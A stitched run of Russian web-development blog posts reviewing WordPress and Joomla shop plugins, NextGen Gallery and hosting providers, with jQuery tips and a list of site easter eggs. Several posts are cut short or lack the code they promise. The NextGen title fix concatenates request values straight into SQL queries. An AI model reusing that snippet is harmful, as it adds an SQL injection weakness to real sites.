Когда-то давно, было дело, я подумал о реализации магазина на WP. Выбирая из неширокого ассортимента, я остановился на WP e-Commerce как на наиболее перспективным и имеющим широкие возможности продукте. Однако, это оказалось далеко от истины.

Я начинал им пользоваться ещё на втором WP, когда развивалась линейка версий 3.7. Много возможностей, дополнительных (хоть и платных) опций, а также радовало то, что в нём можно было добиться абсолютно чего угодно без всяких окольных путей и проблем. Затем появилась линейка 3.8, заточенная исключительно под третий ВП и при этом ставшая сложнее для изменений – если чего-то хочешь мало-мальски нестандартное, готовься к поиску обходных путей. Помимо этого напрягло то, что работая на линейка 3.7, обновиться до 3.8 становится практически невозможно (во всяком случае, ни одной инструкции на тот момент не было и не уверен есть ли сейчас).

Линейка 3.7 была более продуманной, но по ряду причин пользоваться ей невозможно из-за огромного числа багов, всплывающих даже в самых последних версиях этой линейки. Печально осознавать, что до последнего момента продукт был сырым и имеющим огромное число багов (хотя версии постарее, где-то 3.7.5, вроде бы работают нормально).

Дальше-больше. Не имя возможности перейти на обновлённую версию, становится необходимой ликвидация обилия багов, включая тот, что не работает даже мультизагрузка изображений (хотя за это доплачивается 40 долларов). Конечно же, я обратился в тех.поддержку, на что мне они ответили спустя 2 или 3 недели (когда я уже баги сам устранил, хоть и не все) и при этом ничего дельного не сказали, кроме как – поставьте версию 3.8, хотя пять сотен товаров придётся вручную переносить. Потом, когда я по лицензинному ключу обратился к ним снова спустя несколько недель – мне написали что ключ недействителен, а письмо администрации осталось неотвеченным. Иными словами – плагин развивается, но тех.поддержка настолько сосёт, что лучше бы её просто не было.

Далее приколы не заканчиваются. Раньше был форум с документацией, но после обновления оф.сайта, он слетел. Поначалу вообще никакой документации не было, и появилась она спустя месяц-другой. Самое смешное, что даже не смотря на свою заточенность под версию 3.8, она была крайне скудна даже для неё – всё слишком кратко, и без лишних комментариев.

Думаю не стоит говорить, что форум особой жизнью не отличается, хотя хотя бы там можно подчерпнуть умные вещи. Конечно же, на английском. Тут же отмечу, что ни русской документации, ни обсуждений на форумах (русских), ничего такого в интернете практически нет. И ладно бы, фиг с ним, но и на английском языке тоже довольно всё бедно.

Возможно, версия 3.8 более стабильная, рабочая, безбаговая, может и добиться в ней что-то стало попроще, но наличие минусов, предоставляемых этим странным GetShopped.org, слишком зашкаливает, чтобы вообще с ними иметь дело. Хотя, вероятно, грядущая версия 4.0 будет неплохой….. Не, думаю всё таки не будет.

Резюмируя вышесказанное, перечислю основные минусы и плюсы WP e-Commerce.

Минусы:

• Наличие багов в стабильных версиях, связанных преимущественно с административным интерфейсом.
• Дерьмовая и неадекватная тех.поддержка (даже с учётом того, что ты платишь им деньги за продукт).
• Проблемы с документацией (русской – нет даже по форумам, а английская – скудна).
• Даже закрыв глаза на предыдущие пункты, обязательно придётся потратить 40 баксов, ибо товар с одной картинкой – это лажа. Было бы не страшно, если бы всё работало, но…
• Актуально для последних версий – чего-то уникальное и нестандартное сделать достаточно проблемно (хотя и реально).

Плюсы:

• Реализует неплохой магазин на WP, успешно справляющийся со своей задачей.
• Практически нет конкурентов, т.к. "на безрыбье…"

Вердикт

Если вы неприхотливы, не собираетесь изгаляться над магазином, и при этом его необходимо сделать именно на WP – то тогда можно использовать без каких-либо упрёков. Если нет привязки на Wordpress, то лучше взять ту же джумлу (бесплатно) или вебасист (не намного дороже, если не учитывать бесплатную версию).

Вероятно, сейчас есть какие-нибудь неплохие магазинные плагины и для Wordpress, лишённые вышеуказанных недостатков, но при этом дающие не меньший функционал, чем e-Commerce. А вы какие плагины пробовали и каков ваш вердикт? Может есть что-то лучше, чем этот коммерц? Пишите в коменты, обсудим =)

Всё до безумия просто. В первой строке мы создаём переменную с временем начала работы. Оно достигается посредством функции microtime с переданным true – это позволяет получить количество секунд с большим числом знаков после запятой. Время, к слову, в формате Unix.

Далее идёт весь код скрипта, после чего, в третьей строке, мы вычитаем из текущего времени время начало работы скрипта и вуаля – вы имеете время выполнения php скрипта с точностью до едритькакого знака после запятой.

Напоследок, перед выходными, я хочу поделиться с вами одной игрой. Игра некомпьютерная и рассчитана на весёлых пьяных друзей, для которых не чужд интернет. Нужно распечатать, найти игральный кубик, и сесть вечерком с друзьями за бутылочкой чего-нибудь горячительного. Всё таки сейчас дубовенько и в Питере, вроде как, обещают самый дубак на эти выходные. Кароче, не мёрзнете!

Перенос на другой сервер не был панацеей, т.к. иногда это помогало только временно. А тариф помощнее – попробовали. До этого мы использовали классику Normal, перешли на Персональный, который почти в два раза дороже. Да, он побыстрее, постабильнее, но всё равно необъяснимым образом он периодами тупил и медленно открывал страницы, но потом всё как рукой снимало. Лично я считаю, что за ~6 т.р. в год можно было бы с этим что-то сделать.

Выбор хостинга

В результате, пришлось изучать и тестировать других хостинги. Были взять для сравнения Agava (с тарифом Normal), Timeweb (с тарифом Century), SWeb (с тарифом SX-4), Majordomo (тариф Мастер+) – все тарифы в районе 2,5-3 т.р. в год. Также были на подхвате Agava с тарифом Персональный (6т.р. в год) и Timeweb с тарифом Премиум (4т.р. в месяц).

Тестировавшиеся CMS: Среди движков были взяты Wordpress 2.9.2 и Wordpress 3.2.1 (с включённым и выключенным wp super cache), Joostina и Joomla 1.5. Если сайты были разные, то подобраны страницы с одинаковым количеством запросов.

Сервисы для тестирования: Их у меня два WebWait и Pingdom Tools, но по факту я пользовался только первым. Он даёт по умолчанию 5 запусков с промежутком в 5 секунд на указанную страницу, плюс я делал таких выходок от 3 до 10.

Скажу сразу, что я не капитально прошёлся по выбранным хостингам и результаты у меня неполные. Однако для общего представления этого оказалось вполне достаточно.

Числа в таблице усреднённые, я бы их даже назвал относительными, т.к. время загрузки также зависит и от времени суток, и от качества связи, и от всяких различных факторов, как, например, первое обращение к странице иногда идёт очень долго, зато последующие моментально (не у всех и не всегда). Также хочу отметить, что меня почти сразу заинтересовал Timeweb, выдавший скорость загрузки прокэшированного WP2.9.2 в 0,1 с, поэтому СВебу и Мажору было уделено меньше времени.

Кстати, немного оффтопиком видно, что третий Wordpress показал себя в два раза медленнее, чем второй. Собственно, вот почему я до сих пор у меня к нему пренебрежение.

В итоге, я проставил свои оценки хостингам, выделив среди пунктов качество хостинга, техподдержки и адекватность цен. Соответственно каждую из этих оценок я поясню чуть ниже.

Итак, качество хостинга, Таймвебу я дал честные 5 баллов – пока тестируюсь у них и никаких проблем не было. Вроде бы довольно стабильный, а если говорить о хосте за 4 штуки в месяц – так там вообще конфетка! Правда 4 штуки в месяц – думаю не нужно лишних слов. Агава же в сравнении откровенно сливает. Постоянные перебои и нестабильная работа действительно удручают. Конечно, тариф Персональный хорош по скорости, но стабильности как-то нет. Мажор в этом плане я оцениваю по первым ощущениям и недолгой работе с ними. Не сказал бы, что стабилен, а первое обращение зачастую долгое. Возможно мало тестировал, но пока троечка, может быть троечка с плюсом. Свеб – не удалось оценить.

Далее, техподдержка. У Агавы в этом плане всё хорошо. Отвечают быстро, также как и решают вопросы. Если надо очень срочно – всегда есть телефон, где можно напрямую поговорить со специалистом. У Таймвеба с поддержкой тоже хорошо, хотя до уровня Агавы не дотягивает – работает медленнее и форма обратной связи в панели не имеет возможности уведомления по email'у об ответе. У Мажора техподдержка меня вообще не порадовала. Они не 24/7, и при этом в выходные до 18 часов работают. При этом заявка обрабатывается 2-3 часа, и по телефону звонить бесполезно – они вежливо посылают на 2-3 часа курить. Так что, если у вас ЧП, то вам не повезло, если вы в Мажопере. С Свебовцами не приходилось общаться.

Цены говорят сами за себя. Агава всех переплюнула, зато понятно откуда такая хорошая техподдержка Таймвеб оказался дешевле всех, а мажор и свеб не сильно отстают.

Есть ещё одна тема – удобство использования, которую я не стал выносить отдельно. У Агавы она выглядит следующим образом: пара доступов, одна в личный кабинет, другая в cPanel хостинга. При этом, если оформить ещё один хостинг, то будут даны ещё одни доступы в другую цпанель. Также, зайдя в личный кабинет, можно без проблем попасть в нужную цпанель. В целом, удобно. Все услуги (домены, хост), продление, управление зонами днс – всё в одном месте, а всё остальное – в cPanel. Уже в цПанели много настроек, даже версию пхп можно выбрать (из трёх – четвёрка и две пятых, постарее и посвежее).

У Мажора – вроде как один хост – один доступ, и под этим доступом уже можно всё делать. Меню по классике – аккордеон, разбитый по разделам. На вкус и на цвет, но лично мне неудобно.

Таймвеб. Регистрируешь хост, получаешь доступы. Доступы одни, по ним входишь по сути в цПанель, где и управляешь своими услугами и возможностями. Всё сделано довольно лаконично, интуитивно понятно и нет ничего лишнего. Есть минус – переход к главной странице панели из подраздела сделан неудобно – внизу линк надо жать, либо в браузере кнопку "назад". Если нужен ещё один хост – регистрируемся, и получаем ещё одни доступы. И тут, внимание! К одному аккаунту можно пристегнуть другой, и тогда под одними доступами будут сразу несколько панелей, которые представлены в разных вкладках. И это реально очень удобно! Ещё порадовала смена MX записей. Если у вас вдруг корпоративная почта от гугл, то для смены MX записей нужно лишь поставить галочку – почта от Гугл. Мелочь, а приятно.

В завершении

Итого, на сегодняшний день я остановился на Timeweb'е – удобно, качественно и недорого. Если они испортятся, буду уже детально пробовать SWeb или попробую дать Агаве второй шанс, но надеюсь это будет не скоро.

А что за хостинг у вас? Решали ли вы проблему хостинга и к чему пришли? А может быть я где-то оказался неправ? Буду ждать ваших комментариев, отзывов и размышлений на тему. Да прибудут с вами быстрые сайты!

UPD: Забыл сказать, что мы перебрались на новый хост, а также ядро сайта было обновлено. Если вы вдруг заметите какие-нибудь баги, то не стесняйтесь и пишите - буду крайне признателен!

Всем хороша галерея NextGen! Вот только с тайтлами у неё полная беда. Вместо того, чтобы печатать адекватные заголовки страниц, он выдаёт названия типа "Альбом 2 – Галерея 5". Полагаю не стоит пояснять, что и выглядит убого, и для СЕО полный отстой.

Этот косяк исправляется достаточно быстро, что, быть может, даже не заслуживает отдельной записи. Но я хотел бы акцентировать на этой шляпе внимание, дабы даже те, кто не обращал на это внимание – обратил (внимание, блеать! – прим.ред.).

Итак, что нужно сделать.

1. Найти файл rewrite.php в папке nextgen-gallery/lib.
2. В районе 200 строки найти $title = $new_title . $title; и закомментировать.
3. А сразу после этой строки вставить следующий код:
   global $wpdb;
   $album_title = $wpdb->get_var("SELECT `name` FROM ".$wpdb->nggalbum." WHERE `id` = '".$album."' LIMIT 1");
   $gallery_title = $wpdb->get_var("SELECT `title` FROM ".$wpdb->nggallery." WHERE `gid` = '".$gallery."' LIMIT 1");
   if(!empty($gallery_title)) {
      $new_title = $album_title.' - '.$gallery_title.' - ';
      $title = $new_title . $title;
   }
   return $title;

Теперь основная часть заголовка страницы перед названием сайта будет иметь вид Название_альбома – Название_галереи.

В некоторых случаях название альбома не нужно, поэтому можно закомментить вторую строку, а также в $new_title убрать $album_title.' - '.

Вот и всё на сегодня! Не забывайте как следует отдыхать, пока не настали трудо выебудни

Для WP я в своё время искал плагины и перебирал всякие разные из них. Как-то раз я наткнулся на DatsoGallery для Joomla, посмотрел её в работе и в целом оно мне понравилось. Я решил найти что-то похожее на WordPress и в итоге оказался приятно удивлён NextGen Gallery, которая, вероятно, по некоторым пунктам даже лучше той самой датсо.

С тех пор для галерей я использую её и рекомендую другим. Почему? Есть ряд причин, которые меня в ней привлекают и радуют. Чуть ниже перечислены её основные достоинства:

• Вполне удобная и разноплановая сортировка галерей по альбомам, и сортировка изображений непосредственно в галерее. Что хотим, то и получаем.
• Удобный загрузчик изображений и возможность загружать фотки в архивах.
• Возможность сжимать загружаемые изображения, и создавать миниатюры к ним, задавая качество, соотношение сторон и т.д. Если нужно срочно сменить все миниатюры – опять же пакетно их по-быстрому изменим.
• Возможность добавлять ватермарки на изображение, как текстовые, так и графические.
• На выбор встроены скрипты Thickbox, Lightbox (на jQuery) и Highslide. При этом очень легко можно встроить любой другой скрипт, если эти по каким-либо причинам не устраивают.
• Гибкая настройка внешнего вида. Во-первых, есть несколько готовых стилей CSS, а во-вторых – если дружите с html и php, то можете отредактировать шаблоны как душе угодно.
• Нет проблем с локализацией (на 15 языках официально).

И это не говоря об управлении доступом к редактированию и добавлению изображений, наличии слайдшоу на флэше, поддержки тегов для изображений, наличии ЧПУ и пр., а также о всяких разных надстройках, которые блуждают по всемирной паутине.

Среди обнаруженных принципиальных минусов могу отметить следующие:

• Первый минус связан с ЧПУ. Красивые урлы это здорово, но вот они однотипны и прописываются от корня сайта. Поэтому, если к странице /mycatalog/razdel1/ прописать сложную галерею, то оттуда ссылки попрут на директории типа /nggallery/album-1/gallery-1/. Не уверен. что это хорошо для СЕО. Однако это легко поправимо. Нужно создать всю вложенную структуру каталога изображений в стандартной вкладке WP "Страницы", а потом каждой странице прописать соответствующую галерею.
• Второй минус связан с тайтлами. Плагин тупо пишет в заголовках страницы Галерея 1 Альбом 1. Нереальный бред и для сео полный трэш. Но о его устранении я напишу в будущей статье.
• Третий минус – придётся привыкнуть к терминологии галерей и альбомов, чтобы потом не путаться в админке

Что касается плагина и полезных ссылок для него:

Скачать плагин
Скачать более старые версии плагина (и посмотреть к какой серии WP что относится)
Русификатор к различным версиям
Различные языки, включая русский
Сайт плагина, где можно посмотреть примеры и их применение

И напоследок кратко о применении плагина. По последней ссылке, конечно, можно посмотреть всё вживую, но всё таки придётся там побегать по страницам, так что кратенько – вуаля:

1. Вывод альбомов происходит следующим образом:
   [album id=x template=extend] или [album id=x template=compact]

   где X – id альбома, а вариант вывода template позволяет отображать вложенные альбомы компактно или расширенно (пример).

2. Вывод галерей:
   [nggallery id=x]

   где X – id галереи (пример).

3. Вывод одиночного изображения:
   [singlepic id=x h=height w=weight mode=web20]

   где X – id изображения, h и w – высота и ширина, mode – дополнительная плюшка на изображение, принимает два значения watermark (добавляет ватермарку на изображение) и web20 (добавляет эффект отражения в зеркале) (пример).

4. Вывод слайдшоу:
   [slideshow id=x w=width h=height]

   где X – id галереи, h и w – высота и ширина (пример).

5. Постраничный вывод изображений галереи:
   [imagebrowser id=x]

   где X – id галереи (пример).

6. Вывод изображений по тегам:
   [nggtags gallery=mytag,shublog,... ]

   (пример).

Вот такое вот моё ИМХО. Буду очень рад комментариям на тему, особенно в плане того, чем пользуетесь вы, почему, и что может быть даже лучше NextGen'а, но было мною упущено. И конструктивную критику тоже крайне приветствую

В своей практике приходилось сталкиваться с разными готовыми движками, как платными, так и бесплатными. У всех, естественно, есть свои плюсы и минусы, и каждый может подобрать себе движок на вкус и на цвет. Но лично я, в конечном итоге, остановился на Joomla. Да, многие сейчас подумали «О, ужас! Он же такой корявый, деревянный» и все прочее, но.

Готов уверить, что Joomla один из лучших бесплатных движков, так как он постоянно поддерживается (обновляется), к нему есть масса полезных компонентов, модулей, плагинов (которые позволяют из этого теста лепить всё, что хочешь) и при всём этом он достаточно востребован. Его основными недостатками можно считать медленную работу и деревянный интерфейс.

Александр (он же Шу, автор этого блога) пригласил меня к себе, чтобы вести рубрику статей по Jooml'е. Я с радостью согласился, дабы поделиться своим личным опытом работы с этим движком. Надеюсь, что статьи будут полезны и найдут своё применение в интернет-быту.

Открыть раздел по Joomle и, как оказывается, по CMS'кам в целом, я хотел бы с простой беседы о заполонивших паутину интернет-магазинов. Интернет-магазины, это то будущее, которое есть уже сегодня. Многие люди уже давно не боятся покупать что-либо в интернете, и поэтому продающие компании всё чаще и чаще прибегают к этому виду торговли.

Ни для кого не секрет, что иметь интернет-магазин в разы дешевле, чем торговую точку, даже если она будет находиться на окраине города. Ведь любой интернет-магазин может оказаться в центре. В центре внимания.

Обычно все качественные движки, предназначенные исключительно интернет-магазинов, стоят денег, которых, особенно на заре становления фирмы, лишних просто не бывает. Конечно, выбор падает на бесплатные движки. Чем хороша Joomla, так это тем, что для неё есть очень много всего, включая плагины интернет-магазинов, которые позволят сделать из вашего сайта именно то, что нужно.

Естественно, плагинов магазинов тоже хватает, поэтому назовём несколько основных вещей, которые нужны для интернет-магазина.

1. Во-первых, это, конечно же, корзина, с помощью которой производиться заказ.
2. Во-вторых, это форма заказа, которую заполняет клиент уже после добавления товара в корзину.
3. В-третьих, это оперативное информирование продавца о поступлении заказа
4. Кроме того, к нужным моментам можно отнести формирование xml файла для Яндекс.Маркета, так как на сегодняшний день многие интернет-магазины стремятся попасть в яндекс.маркет для привлечения дополнительных клиентов. Если можно так сказать, то Яндекс Маркет – это торговый комплекс для интернет магазинов. А в торговый комплекс попасть хотят все.

На Joomla существует много компонентов для организации интернет-магазина, но мне бы хотелось выделить бесплатный компонент под названием VirtueMart. Да, многие считают, что это всего лишь база, которую можно настроить под себя, но для небольших интернет-магазинов более и не надо.

В силу того, что VirtueMart является очень популярным, для него уже есть масса дополнений, а на всех форумах, посвященных Jooml'e, есть специальный раздел VirtueMart'у. Так что, в принципе, из него можно без больших усердий сделать именно тот интернет-магазин, о котором Вы мечтаете.

Естественно, в VirtueMart'e все необходимые вещи, указанные выше, имеются.

1. Корзина довольно удобная, правда приходиться её настраивать в стиль своего сайта и править русскоязычную версию (ибо неизбежны будут записи «2 Товары» или «5 Товары»);
2. Форма заказа построена таким образом, что любой администратор сайта сможет её настроить ровно так, как ему хочется: все поля редактируемые, можно назвать их как угодно, можно выбрать какие поля будут обязательные, а какие нет, можно выбрать какие поля показывать при регистрации, и так далее;
3. VirtueMart автоматически генерирует 2 письма после оформления заказа, одно письмо идет покупателю, второе администратору: таким образом, оперативность обеспечена;
4. Что касается xml-файла, то вот тут зарубежные разработчики VirtueMart не подумали о российском Яндекс.Маркете, что, в принципе, не особо удивительно. Но варианты решения есть. Старую версию VirtueMart 1.0.15 разобрали и переработали наши соотечественники, добавив в него экпорт в Яндекс.Маркет и всякие другие полезные штучки для Российского рынка. К сожалению, разработчики так и остановились на этой версии. Но, тем не менее, для VirtueMart 1.1.x также есть решение, не особо сложное, и об этом я обязательно расскажу в следующих статьях.

Итак, подведём итог этой вступительной статье. Интернет-магазины – это хорошо, на Jooml'е их делать можно, и при правильном подходе абсолютно любые. Есть плагин VirtueMart для этой самой Jooml'ы, который обладает самыми необходимыми возможностями и, конечно же, этим не ограничивается.

Впереди будет цикл статей, посвящённых VirtueMart'у, его возможностям и улучшениям, так что если вас что-то о нём беспокоит и интересует – пишите, расскажем. Также, если у вас есть насущные вопросы по той же самой Джумле, то оставляйте заявки, и будет вам счастье

На этом я закончу вводную и ознакомительную статью. Оставайтесь на линии.

Ваш жумловед, Борис

Скрипт 1 – Энергосберегающий экран

Этот скрипт я нашёл где-то случайно, оставив какую-то веб-страничку без присмотра. После минуты простоя и бездействия на странице, всплывает чёрный экран с надписью, что так и так, режим энергосбережения. Полезно? Однозначно! .

Скрипт 2 – разблокировка в стиле IPhone

На CSSTricks я увидел на html5 и jQuery слайдинг в стиле разблокировки клавиатуры на IPhone – Slide to Unlock. Идея и исполнение мне очень понравилось, за исключением двух пунктов.

Ползунок убегает за пределы рамки, хотя в АйФоне он упирается (и ведёт себя как нормальный такой ползунок – прим.ред.). Вероятно, что в этом виноват второй пункт негодования, связанный с версией jQuery. Плагин успешно работает на 1.4.х, но на 1.6 с копейками он ведёт себя криво. Плюс, в кода есть блок эдак строчек на двадцать, закомментив который ровным счётом ничего не меняется. Разбираться зачем он, я не стал.

Баг ползунка исправляется буквальной парой строчек кода, но об этом ниже. Ещё необходимо сказать, что для корректной работы, если вы ещё не догадались, нужно прописать <!DOCTYPE html> и никакой другой. Всё таки тут завязка на html5.

Скрипт 3 – Энергосберегающий экран с разблокировкой от IPhone

И вот она – случайно родившаяся идея. А почему бы не сделать так, чтобы появляющийся энергосберегающий экран отключался при помощи ползунка от айфона? И стильно, и красиво (и энергию экономит – прим.ред.).

Чуть ниже вы найдёте ссылку на пример и на архив с примером, который наглядно демонстрирует возможности этого симбиоза. Освещу всего лишь несколько самых важных моментов. Для наглядности откройте файл slidetounlock.js в любимом кодерском редакторе с нумерацией строк кода.

1. В первых двух строках определены переменные счётчика времени и вкл/выкл для режима сохранения энергии.
2. Строки 3-8. Проверка бездействия пользователя. Добавляем +10 у.е., и если суммарно набралось 20 этих самых у.е., то врубаем экран.
3. Строки 9-18. Проверяем включён ли чёрный экран и если нет, то подрубаем – растягиваем окно анимацией и изменяем переменную включённости режима.
4. Строки 19-25. Тоже самое, но наоборот. То есть, отключаем энергосберегающий режим.
5. Строки 27-40. Объявляем. а потом инициализируем функцию проверки бездействия пользователя и вывода чёрного экрана. Обращаю внимание на 30 строку. Тут задаём в миллисекундах время, через которое активируем экран. Однако, напоминаю, что в 3-8 строках есть ещё +10 уе. Посмотрите – в совокупности эти два параметра дают общее время. То есть, если setInterval 1 секунда, и в проверке пятой строки стоит цифра 20, то экран появится не через секунду, а через две секунды. Также, в 36 строке, оставлено отключение экрана по нажатию на клавиши клавиатуры – на всяк случай.
6. Оставшийся код – это к слайдеру айфона. Обращаю внимание на 49 и 53 строки. Именно о них я говорил ранее и именно они ограничивают ползунок, чтобы он не заползал за пределы своего блока. А 50я строка отвечает за то, что когда ползунок передвинем, то нужно отключить энергосберегающий экран. Именно здесь можно задавать всё то, что нужно делать после перемещения ползунка направо. Как вариант - перезагружать страницу.

Вот, пожалуй, и всё. Надеюсь, что рецепт будет полезен и интересен окружающим. Конечно же, буду рад комментам и отзывам (любым – прим.ред.).

Недавно и меня так припёрли. Но, к великому счастью, в отличие от других библиотек, jQuery содержит в себе функцию, которая позволяет использовать её наравне с другими библиотеками, например, с MooTools или Prototype.

Конечно же, речь идёт о функции noConflict(). Я бы не стал о неё и писать, но, как показывает практика, не все знают как ею нормально пользоваться. Оно и понятно – спасибо "исчерпывающей" информации на оф.сайте.

Итак, предлагаю пошаговый рецепт для корректного совмещения jQuery и MooTools.

Совмещаем jQuery и Mootols (или Prototype)

пошаговая инструкция

1. Подключаем библиотеку MooTools/Prototype и все скрипты под неё. Будет что-то типа:

   <script type="text/javascript"src="js/mootools.js"></script>
   <script type="text/javascript"src="js/mootools_plugin1.js"></script>
   <script type="text/javascript"src="js/mootools_plugin2.js"></script>
2. Затем подключаем jQuery:
   <script type="text/javascript"src="js/jquery.js"></script>
3. Далее вызываем функцию noConflict():
   <script type="text/javascript">
      jQuery.noConflict();
   </script>
4. Далее подключаем все скрипты от jQuery:
   <script type="text/javascript"src="js/jquery_plugin1.js"></script>
   <script type="text/javascript"src="js/jquery_plugin2.js"></script>
5. И последний шаг, самый важный, про который всегда забывают. Во всех скриптах jQuery (в данном случае jquery_plugin1.js и jquery_plugin2.js) нужно провести замену $ на jQuery. Сделать это можно в любом текстовом редакторе.

Вот и всё, ничего сложного.

Напоследок поделюсь интересной штукой. Вы никогда не задумывались сколько берёт за разработку сайтов студия Артемия Лебедева? Понятное дело – до ху много. Но оно и понятно – хорошие и качественные сайты, плюс логотип студии А.Л. в подвале, что считается престижным. Раз заказал сайт у Лебедева, значит есть деньги, значит фирма процветает.

Однако, как и везде, у нас все живут на откатах. Не знаю как за рубежом с этим, но у нас, наверное, больше половины всех фирм живут именно так, будь то рыбная промышленность или сайтостроение.

Тут прочитал на ekimoff.ru заметку про сайт Стрима (интернет-провайдер такой был), который попросил дополнительно, сверх договора, разместить в подвале логотип Комстара. Понятное дело, что логотип уже был, нужно было всего лишь разместить его в подвал. Как думаете, сколько стоит такая работа:

Правильно, 500 евро. Со скидкой, конечно же.

Ну, даже если закрыть глаза на ценник, всё равно не могу понять: как на это можно потратить 7,5 часов? Хотя если бы это реально были 7,5 часов работы, то цена для крупной компании вполне ничего. Конечно, даже в голове придумывается объяснение, что нужно влить логотип в макет, чтобы он гармонично смотрелся, для этого работает дизайнер, потом утверждает с арт-директором, потом технолог это как-то реализует с трудом за 4 часа и, естественно, менеджер по ходу дела связывает клиента с фирмой, устраивает ли вас вот такой вариант. Всё равно чего-то тут не то.

А сколько вы и, возможно, ваша компания взяла бы за такое денег? Коменты ниже приветствуются

Предыдущая запись про то, как сделать кнопку "наверх" как вКонтакте оказалась довольно полезной и популярной, что даже Яндекс внедрил у себя эту фишку на странице с результатами поиска… Хотя это, к сожалению, скорее всего совпадение

Ещё перед отъездом я хотел опубликовать пост в продолжение темы о том, как шутят программисты. На этот раз я раздобыл подборку сайтов, на которых запрятаны приколюхи различного вида и сорта. А посему, поехали!

1. www.i-kamin.ru/maps/sushevskiy_val.html – одна из лучших приколюх. Нужно просто кликнуть по надписи на карте карты "Центр каминов". А далее можно откинуться и посмотреть экшн.
2. www.parkbt.ru – конечно, это скорее пасхалка, чем прикол, но всё таки обходить не очень хочется. В логотипе кликаем по точке и наслаждаемся музыкой и зрелищем. Да, там несколько различных роликов, поэтому повторяйте сие действо, пока не наткнётесь на повтор.
   
3. okmedia.ru/chat_room.php – тут можно задавать вопросы. Что-то мне подсказывает, что её нужно вежливо попросить - "покажи попу" и "покажи сиськи".
4. miss.sporthit.ru – несколько раз кликните по доске для сёрфинга у девушки слева.
5. completo.ru – продолжаем! Нужно пять раз развернуть и свернуть плакат, потянув по бирке "Тяните".
6. zoloto585.ru – нужно кликнуть трижды по продавщице в центре (рядом с надписью 585). Также говорят, что если по охраннику справа кликать, тоже что-то будет, но лично у меня оно не сработало.
   
7. www.lazurnoe.com – классика жанра. Кликаем на чайку и смотрим.
8. www.greenbag.ru/story/finland – кликаем на носу оленя и смотрим на оленей. Олени такие олени.
9. www.gazon-avangard.ru/redactor.php?id_part=9 – ждём пока проиграет анимация в шапке и появится надпись "Газон Авангард", после чего можно дважды кликнуть по серпу. И, кстати, версий много было. Вот линк, где можно вместо двойки подставлять другие цифры (от 3 до 7), посмотрите, что ещё было gazon-avangard.ru/flash/shapka2.swf
10. super-perevod.com.ua – приколюха от тех, кто не любит амэрику. Нужно всего лишь кликнуть на самолётик.
11. seopult.ru – если вы залогинены. разлогиньтесь. кликайте трижды по букве O или U в логотипе и смотрите рекламный ролик!
12. 559.tut.ua – самый незашифрованный прикол. Наведите на носатого мужика в шапке сайта
13. www.energoservis.net – кликните по луне в шапке пять раз и смотрите коротенький ролик.
    
14. www.doroga78.ru – не совсем прикол, но всё равно удачно. Нужно внизу страницы кликнуть трижды по одному из светофоров – так что вас ждёт несколько вариантов событий.
15. 32pearls.by.ru/staff – самый примитивный прикол. Правда я так и не понял, как этого не заметил заказчик. Кликайте по фоткам сотрудников.
16. www.elpida.ru – в шапке кликаем по верхнему левому окну/балкону левого дома и... играем за орамбутанбов
17. www.simpleart.com.ua – наводим на логотип в шапке, держим пару секунд и изучаем изменения.
    
18. rem-dom.info – внизу слева есть строитель. По нему нужно трижды кликнуть.
19. bobrikov.net – в шапке кликните на логотипе по языку бобра (сильная фраза – прим.ред.)
20. www.notebook812.ru/_rasprodaja.htm – трижды кликаем на башмак мужика в шапке. Прикол странноват, а точнее его зацикленное продолжение, но тем не менее.
21. avalon74.ru/order – кликните по букве "о" в фразе "Форма обучения" (седьмое поле формы).
22. balagan.atilekt.com – кликаем по любому месту, но не ссылке, и набираем на клавиатуре dsfox.
23. www.omskmap.ru – не особо интересный прикол, но всё же. На карте кликните по букве О в надписи "Омская область"
24. estet-mebel.ru/index.php?categoryid=4 – наводим на портрет Пушкина в шапке. Кто-то его явно не очень любил.
25. www.techdays.ru – в форме поиска пишем linux и смотрим ролик.
26. www.alfastrah.ru/flash/top_menu/menu_swingers.swf – раньше на главной странице нужно было раз пять кликнуть по телефону в шапке и тогда вы попадали на страницу этого ролика. Сейчас этого уже нет, но ролик остался.
27. xenus.ru – можно дважды кликнуть по логотипам слева "Предтечи" и "Xenus", а также по девушке справа.
28. zlo.rt.mipt.ru:7500/search – набираем в поиске "печеньки" и вспоминаем старый прикол про Дэйва Блэйна.
29. www.aids-info.ru – кликаем на кнопочку посередине креста и смотрим ролик. Правда, это скорее не секретная приколка, а просьба заказчиков разместить такой ролик.
30. speed.yoip.ru – и напоследок приколка типа той, которая была в предыдущей статье. Заходим в любой тест, смотрим исходный код страницы и наслаждаемся

На сегодня всё! У программистов, особенно флэшеров, всегда в их разработках найдётся место для одного-двух приколов. Буду рад комментариям, а также ссылочкам на другие секретки на сайтах.

Думаю как минимум 95% читателей зарегистрированы вКонтакте. Сидят они там или нет – сейчас не суть важно. В общем, до недавнего времени там была такая прикольная кнопочка "Наверх", которая появлялась после того, как мы прокручиваем вниз страницу ниже левого меню. Она появлялась в тему и была очень удобной и ненавязчивой. Сейчас мы попробуем её повторить!

Но перед этим отмечу лишь то, что неделю назад Контакт сменил эту кнопочку на такую, которая после возвращения наверх сможет вернуть вас вниз в то же самое место, откуда вы улетели наверх. Делается это несложно, но делать мы этого не будем. Лично я считаю идею любопытной, но бесполезной для большинства случаев. Если мы прочитали вниз докуда надо, а дальше читать нечего, то зачем сюда возвращаться?

Ладно, хватит демагогии, приступим к делу! Прежде всего приведу два мелких примера. Это две ссылки, кликнув по которым оказываешься на уровне того блока, который указан.

• Первый пример – это классика HTML, а именно якоря.
  <a href="#main">Вверх</a>

  Кликнув по ссылке, вы попадёте на участок страницы с id под названием main. По сути - не обязательно вершина страницы, а любое удобное место. Минус один - переход происходит скачком. Чтобы этого не было, можно ссылочку сделать с плавной прокруткой...

• Второй пример - плавная прокрутка при нажатии на ссылку.
  <a href="#" onclick="$('body').scrollTo('0px',1000, {axis:'y'})">Наверх</a>

  По клику вы плавно переноситесь в указанное место при помощи скрипта jQuery.

Это база. Зачем? А чтобы было! Вот теперь начнём делать кнопочку по типу вТентакли вКонтакте, и сперва возьмёмся за оформление.

Думаю не стоит пояснять, что мы задали оформление ссылки как блоку и зафиксировали её на странице. Думаю не стоит пояснять, что html-код этой ссылки будет выглядеть вот так:

А теперь подключаем jQuery и вводим скрипт.

<script type="text/javascript" src="jquery.min.js"></script>
<script type="text/javascript">
$(function () { 
    $(window).scroll(function () {
        if ($(this).scrollTop() > 100) $('a#move_up').fadeIn(); 
        else                           $('a#move_up').fadeOut(400); 
    });
    $('a#move_up').click(function () {
        $('body,html').animate({ 
            scrollTop: 0
        }, 800); 
        return false;
    });
});
</script>

И теперь, по традиции, разбираем построчно.

